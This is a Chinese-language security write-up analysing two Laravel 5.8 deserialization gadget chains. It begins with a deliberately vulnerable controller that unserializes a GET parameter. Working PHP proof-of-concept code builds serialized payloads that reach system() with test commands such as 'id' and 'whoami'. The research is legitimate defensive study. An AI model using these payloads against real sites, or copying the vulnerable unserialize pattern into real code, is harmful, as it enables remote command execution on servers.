Laravel反序列化利用链分析
2020-10-16 10:55:33 Author: xz.aliyun.com(查看原文) 阅读量:235 收藏

漏洞复现

环境配置

写一个DemoController控制器
//DemoController.php

<?php
namespace App\Http\Controllers;

class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}

然后在routes/web.php下添加路由

Route::get("/demo","\App\Http\Controllers\DemoController@demo");

漏洞分析

全局搜索排查__destruct()方法,找到Illuminate\Broadcasting\PendingBroadcast::__destruct()

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

因为eventsevent的值是可控的

public function __construct(Dispatcher $events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }

所以通过控制events参数可以调用任意类的dispatch()方法,所以先寻找可以利用的该方法,发现Illuminate\Bus\Dispatcher::dispatch()可利用

public function dispatch($command)
    {
        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
            return $this->dispatchToQueue($command);
        }

        return $this->dispatchNow($command);
    }

dispatchToQueue()方法里面有call_user_func()函数,我们来看一看方法内容

public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;

        $queue = call_user_func($this->queueResolver, $connection);

        if (! $queue instanceof Queue) {
            throw new RuntimeException('Queue resolver did not return a Queue implementation.');
        }

        if (method_exists($command, 'queue')) {
            return $command->queue($queue, $command);
        }

        return $this->pushCommandToQueue($queue, $command);
    }

要想执行到这个方法那么就需要通过if判断,首先有$this->queueResolver的值,这个是我们可控的,给它赋值了就行了

public function __construct(Container $container, Closure $queueResolver = null)
    {
        $this->container = $container;
        $this->queueResolver = $queueResolver;
        $this->pipeline = new Pipeline($container);
    }

第二个判断是$this->commandShouldBeQueued($command),跟进一下commandShouldBeQueued()方法

protected function commandShouldBeQueued($command)
    {
        return $command instanceof ShouldQueue;
    }

该方法中要返回真,只需要让$command,也即PendingBroadcast类中的$this->event是一个继承于ShouldQueue接口的类即可。

可以利用find usage找一个继承ShouldQueue接口的类,例如BroadcastEvent类:

至此POP链构造完成,可以实现调用任意方法
总结一下涉及到的类和接口:

1、Illuminate\Broadcasting\PendingBroadcast对应的方法为__destruct()

2、Illuminate\Bus\Dispatcher对应的方法为dispatch()

3、Illuminate\Broadcasting\BroadcastEvent用于继承ShouldQueue接口

涉及到的变量:

1、 PendingBroadcast类中的event和events,前者用于继承ShouldQueue接口,后者用于实例化一个Dispatcher对象。

2、Dispatcher类中的queueResolver,用于想要执行的函数名。

3、BroadcastEvent类新创建一个变量connection,用于想要执行函数的参数

POC代码如下

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events="",$event="")
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting{
    class BroadcastEvent
    {
        public $connection = "whoami";
    }
}

namespace{
    $d = new Illuminate\Bus\Dispatcher();
    $b = new Illuminate\Broadcasting\BroadcastEvent();
    $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
    echo urlencode(serialize($p));
}

?>

漏洞复现

漏洞分析

这里首先来认识几个属性

public $test;           //一个实例化的类 Illuminate\Auth\GenericUser
protected $app;         //一个实例化的类 Illuminate\Foundation\Application
protected $command;     //要执行的php函数 system
protected $parameters;  //要执行的php函数的参数  array('id')

通过__destruct()方法进入run()方法

public function __destruct()
{
    if ($this->hasExecuted) {
        return;
    }

    $this->run();
}

跟进run()方法

public function run()
{
    $this->hasExecuted = true;

    $this->mockConsoleOutput();

    try {
        $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
    } catch (NoMatchingExpectationException $e) {
        if ($e->getMethodName() === 'askQuestion') {
            $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
        }

        throw $e;
    }

我们看到call()方法的两个参数都是用户可控的,首先得经过mockConsoleOutput()方法,跟进一下

protected function mockConsoleOutput()
{
    $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
        (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
    ]);

    foreach ($this->test->expectedQuestions as $i => $question) {
        $mock->shouldReceive('askQuestion')
            ->once()
            ->ordered()
            ->with(Mockery::on(function ($argument) use ($question) {
                return $argument->getQuestion() == $question[0];
            }))
            ->andReturnUsing(function () use ($question, $i) {
                unset($this->test->expectedQuestions[$i]);

                return $question[1];
            });
    }

    $this->app->bind(OutputStyle::class, function () use ($mock) {
        return $mock;
    });
}

我们先单步调试,发现可以成功执行Mockery::mock那一截代码到foreach循环,这里调用$this->test对象的expectedQuestions属性且应该为一个数组,但是该类并不存在expectedOutput属性,经过分析代码,我们发现这里只要能够返回一个数组代码就可以顺利进行下去

因此我们全文搜索__get()方法,让__get()方法返回我们想要的数组就可以了,这里我选择DefaultGenerator.php

class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
    }

    /**
     * @param string $attribute
     *
     * @return mixed
     */
    public function __get($attribute)
    {
        return $this->default;
    }
    ......
}

我们对DefaultGenerator类进行实例化并传入数组array('hello'=>'ghtwf01'),打断点进行调试可以看到代码顺利执行下去了,这个时候POC如下

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct($test, $app, $command, $parameters)
        {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        public function __construct($instances = []){}
    }
}
namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("hello"=>"ghtwf01"));
    $application = new Illuminate\Foundation\Application();
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator,$application,"system",array("id"));
    echo urlencode(serialize($pendingcommand));
}

接下来离开mockConsoleOutput()方法方法回到run()方法执行$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);,如果使用上面的POC单步调试这一步会报错,其中Kernel::class为固定值:"Illuminate\Contracts\Console\Kernel",跟进进入offsetGet()方法

public function offsetGet($key)
{
    return $this->make($key);
}

跟进make()方法

public function make($abstract, array $parameters = [])
{
    $abstract = $this->getAlias($abstract);

    if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
        $this->loadDeferredProvider($abstract);
    }

    return parent::make($abstract, $parameters);
}

跟进父类的make()方法

public function make($abstract, array $parameters = [])
{
    return $this->resolve($abstract, $parameters);
}

跟进resolve()方法

protected function resolve($abstract, $parameters = [])
{
    $abstract = $this->getAlias($abstract);

    $needsContextualBuild = ! empty($parameters) || ! is_null(
        $this->getContextualConcrete($abstract)
    );

    // If an instance of the type is currently being managed as a singleton we'll
    // just return an existing instance instead of instantiating new instances
    // so the developer can keep using the same objects instance every time.
    if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
        return $this->instances[$abstract];
    }
    ......

根据我们上面的POC调试可以看到$this->instances这个数组是空数组,那么$this->instances[$abstract]就不存在而导致后面抛出异常。

跟着我们最终的POC看,return $this->instances[$abstract];=$this->instances["Illuminate\Contracts\Console\Kernel"]也就是返回了Illuminate\Foundation\Application对象,为什么要用这个对象?因为Illuminate\Foundation\Application类继承了 Illuminate\Container\Container类的call()方法

接着调用call()方法

public function call($callback, array $parameters = [], $defaultMethod = null)
{
    return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}

这里$callback = "system",$parameters[0] = "id",调用BoundMethod的call()静态方法

public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
    if (static::isCallableWithAtSign($callback) || $defaultMethod) {
        return static::callClass($container, $callback, $parameters, $defaultMethod);
    }

    return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
        return call_user_func_array(
            $callback, static::getMethodDependencies($container, $callback, $parameters)
        );
    });
}

跟进isCallableWithAtSign()方法

protected static function isCallableWithAtSign($callback)
{
    return is_string($callback) && strpos($callback, '@') !== false;
}

作用只是判断确定给定的字符串是否使用Class@method语法

接着跟进callBoundMethod()函数,可以发现它的作用只是判断$callback是否为数组

protected static function callBoundMethod($container, $callback, $default)
{
    if (! is_array($callback)) {
        return $default instanceof Closure ? $default() : $default;
    }
    ......

继续跟进下面的匿名函数

function () use ($container, $callback, $parameters) {
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        }

call_user_func_array()里面第一个参数是我们可控的值为system,第二个参数是通过getMethodDependencies()方法得来的,跟进一下

protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
    $dependencies = [];

    foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
        static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
    }

    return array_merge($dependencies, $parameters);
}

也就是将数组$dependencies和数组$parameters合并,因为$dependencies数组为空,所以最后返回的值也就是$parameters,值为id,所以最后就执行了call_user_func_array()

最终POC如下

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct($test, $app, $command, $parameters)
        {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $instances = [];

        public function __construct($instances = []){
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}
namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("hello"=>"ghtwf01"));
    $app = new Illuminate\Foundation\Application();
    $application = new Illuminate\Foundation\Application($app);
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator,$application,"system",array("id"));
    echo urlencode(serialize($pendingcommand));
}

文章来源: http://xz.aliyun.com/t/8359
如有侵权请联系:admin#unsafe.sh